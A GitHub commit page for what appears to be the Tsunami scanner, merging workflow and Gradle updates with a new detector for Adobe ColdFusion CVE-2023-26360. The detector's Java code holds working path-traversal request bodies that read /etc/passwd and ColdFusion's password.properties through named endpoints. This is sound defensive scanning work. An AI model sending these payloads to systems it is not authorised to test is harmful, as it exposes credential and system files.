Skip to content

Commit

Permalink
Merge branch 'master' into weak_cred_tester_airbyte
Browse files Browse the repository at this point in the history
  • Loading branch information
secureness authored Mar 10, 2025
2 parents 17d5dee + 598da7e commit fb8ca02
Show file tree
Hide file tree
Showing 239 changed files with 71,138 additions and 1,256 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/community-build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ jobs:
with:
java-version: ${{ matrix.java }}
- name: 'Cache Gradle resources'
uses: actions/cache@v2
uses: actions/cache@v4
with:
path: ~/.gradle/caches
key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }}
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/doyensec-build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ jobs:
with:
java-version: ${{ matrix.java }}
- name: 'Cache Gradle resources'
uses: actions/cache@v2
uses: actions/cache@v4
with:
path: ~/.gradle/caches
key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }}
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/examples-build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ jobs:
with:
java-version: ${{ matrix.java }}
- name: 'Cache Gradle resources'
uses: actions/cache@v2
uses: actions/cache@v4
with:
path: ~/.gradle/caches
key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }}
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/google-build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ jobs:
with:
java-version: ${{ matrix.java }}
- name: 'Cache Gradle resources'
uses: actions/cache@v2
uses: actions/cache@v4
with:
path: ~/.gradle/caches
key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }}
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/govtech-build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ jobs:
with:
java-version: ${{ matrix.java }}
- name: 'Cache Gradle resources'
uses: actions/cache@v2
uses: actions/cache@v4
with:
path: ~/.gradle/caches
key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }}
Expand Down
20 changes: 20 additions & 0 deletions community/detectors/adobe_coldfusion_cve_2023_26360/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
# CVE-2023-26360 Detector

Description: Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021
Update 5 (and earlier) are affected by an Improper Access Control vulnerability
that could result in unauthenticated file read and arbitrary code execution in
the context of the current user. Exploitation of this issue does not require
user interaction.

- https://nvd.nist.gov/vuln/detail/CVE-2023-26360
- https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html

## Build jar file for this plugin

Using `gradlew`:

```shell
./gradlew jar
```

Tsunami identifiable jar file is located at `build/libs` directory.
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,9 @@ plugins {
id 'java-library'
}

description = 'Tsunami MLflow LFI/RFI (CVE-2023-6977) VulnDetector plugin.'
description = 'Tsunami CVE-2023-26360 VulnDetector plugin.'
group 'com.google.tsunami'
version '0.0.2-SNAPSHOT'
version '0.0.1-SNAPSHOT'


repositories {
Expand Down Expand Up @@ -41,6 +41,7 @@ java {
showExceptions true
showCauses true
showStackTraces true
showStandardStreams true //ADDED
}
maxHeapSize = '1500m'
}
Expand All @@ -58,7 +59,6 @@ dependencies {
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
implementation 'com.google.googlejavaformat:google-java-format:1.13.0'

testImplementation "junit:junit:${junitVersion}"
testImplementation "org.mockito:mockito-core:${mockitoVersion}"
Expand Down
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,8 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#

##############################################################################
#
Expand Down Expand Up @@ -55,7 +57,7 @@
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
Expand Down Expand Up @@ -84,7 +86,8 @@ done
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s
' "$PWD" ) || exit

# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,8 @@
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem

@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = 'CVE-2023-26360'
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
/*
* Copyright 2023 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.cves.cve202326360;

import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl;
import static com.google.tsunami.common.net.http.HttpRequest.post;

import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.protobuf.ByteString;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkServiceUtils;
import com.google.tsunami.common.net.http.HttpClient;
import com.google.tsunami.common.net.http.HttpHeaders;
import com.google.tsunami.common.net.http.HttpResponse;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.time.Clock;
import java.time.Instant;
import java.util.regex.Pattern;
import javax.inject.Inject;

/** A {@link VulnDetector} that detects the CVE-2023-26360. */
@PluginInfo(
type = PluginType.VULN_DETECTION,
name = "Cve202326360VulnDetector",
version = "1.0",
description = "This detector checks for Adobe ColdFusion CVE-2023-26360 vulnerability",
author = "jimmy-ly00",
bootstrapModule = Cve202326360DetectorBootstrapModule.class)
public final class Cve202326360Detector implements VulnDetector {
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
private static final ImmutableList<String> VULNERABLE_REQUEST_PATHS =
ImmutableList.of(
"cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx",
"CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx");

/** Windows */
private static final String VULNERABLE_REQUEST_BODY_WINDOWS =
"_variables={\"_metadata\":{\"classname\":\"i/../lib/password.properties\"},\"_variables\":[]}";

/** Linux */
private static final String VULNERABLE_REQUEST_BODY_LINUX =
"_variables={\"_metadata\":{\"classname\":\"../../../../../../../../etc/passwd\"}}";

private static final ImmutableList<String> VULNERABLE_REQUEST_BODY_ALL =
ImmutableList.of(VULNERABLE_REQUEST_BODY_WINDOWS, VULNERABLE_REQUEST_BODY_LINUX);

private static final Pattern VULNERABLE_RESPONSE_PATTERN =
Pattern.compile("password=|root:[x*]:0:0:");

private final HttpClient httpClient;
private final Clock utcClock;

@Inject
Cve202326360Detector(@UtcClock Clock utcClock, HttpClient httpClient) {
this.httpClient = checkNotNull(httpClient);
this.utcClock = checkNotNull(utcClock);
}

@Override
public DetectionReportList detect(
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
logger.atInfo().log("CVE-2023-26360 starts detecting.");

return DetectionReportList.newBuilder()
.addAllDetectionReports(
matchedServices.stream()
.filter(NetworkServiceUtils::isWebService)
.filter(this::isServiceVulnerable)
.map(networkService -> buildDetectionReport(targetInfo, networkService))
.collect(toImmutableList()))
.build();
}

private boolean isServiceVulnerable(NetworkService networkService) {
for (String path : VULNERABLE_REQUEST_PATHS) {
for (String payload : VULNERABLE_REQUEST_BODY_ALL) {
String targetUrl = buildWebApplicationRootUrl(networkService) + path;
try {
HttpResponse response =
httpClient.send(
post(targetUrl)
.setHeaders(
HttpHeaders.builder()
.addHeader(CONTENT_TYPE, "application/x-www-form-urlencoded")
.build())
.setRequestBody(ByteString.copyFromUtf8(payload))
.build(),
networkService);
if (response.bodyString().isPresent()) {
if (VULNERABLE_RESPONSE_PATTERN.matcher(response.bodyString().get()).find()) {
return true;
}
}
} catch (Exception e) {
logger.atWarning().withCause(e).log("Failed request to target %s.", networkService);
}
}
}
return false;
}

private DetectionReport buildDetectionReport(
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
return DetectionReport.newBuilder()
.setTargetInfo(targetInfo)
.setNetworkService(vulnerableNetworkService)
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
.setVulnerability(
Vulnerability.newBuilder()
.setMainId(
VulnerabilityId.newBuilder()
.setPublisher("TSUNAMI_COMMUNITY")
.setValue("CVE_2023_26360"))
.addRelatedId(
VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-26360"))
.setSeverity(Severity.CRITICAL)
.setTitle(
"Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution")
.setDescription(
"Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and"
+ " earlier) are affected by an Improper Access Control vulnerability that"
+ " could result in unauthenticated file read and arbitrary code execution"
+ " in the context of the current user. Exploitation of this issue does not"
+ " require user interaction.")
.setRecommendation(
"For Adobe ColdFusion 2018, ugrade to version Update 16 or higher"
+ "For Adobe ColdFusion 2021, upgrade to version Update 6 or higher"))
.build();
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -13,16 +13,15 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.apachesparksexposedwebui;
package com.google.tsunami.plugins.detectors.cves.cve202326360;

import com.google.tsunami.plugin.PluginBootstrapModule;

/** A {@link PluginBootstrapModule} for {@link ApacheSparksExposedWebuiVulnDetector}. */
public final class ApacheSparksExposedWebuiVulnDetectorBootstrapModule
extends PluginBootstrapModule {
/** A CVE-2024-23897 Guice module that bootstraps the {@link Cve202326360Detector}. */
public final class Cve202326360DetectorBootstrapModule extends PluginBootstrapModule {

@Override
protected void configurePlugin() {
registerPlugin(ApacheSparksExposedWebuiVulnDetector.class);
registerPlugin(Cve202326360Detector.class);
}
}
Loading

0 comments on commit fb8ca02

Please sign in to comment.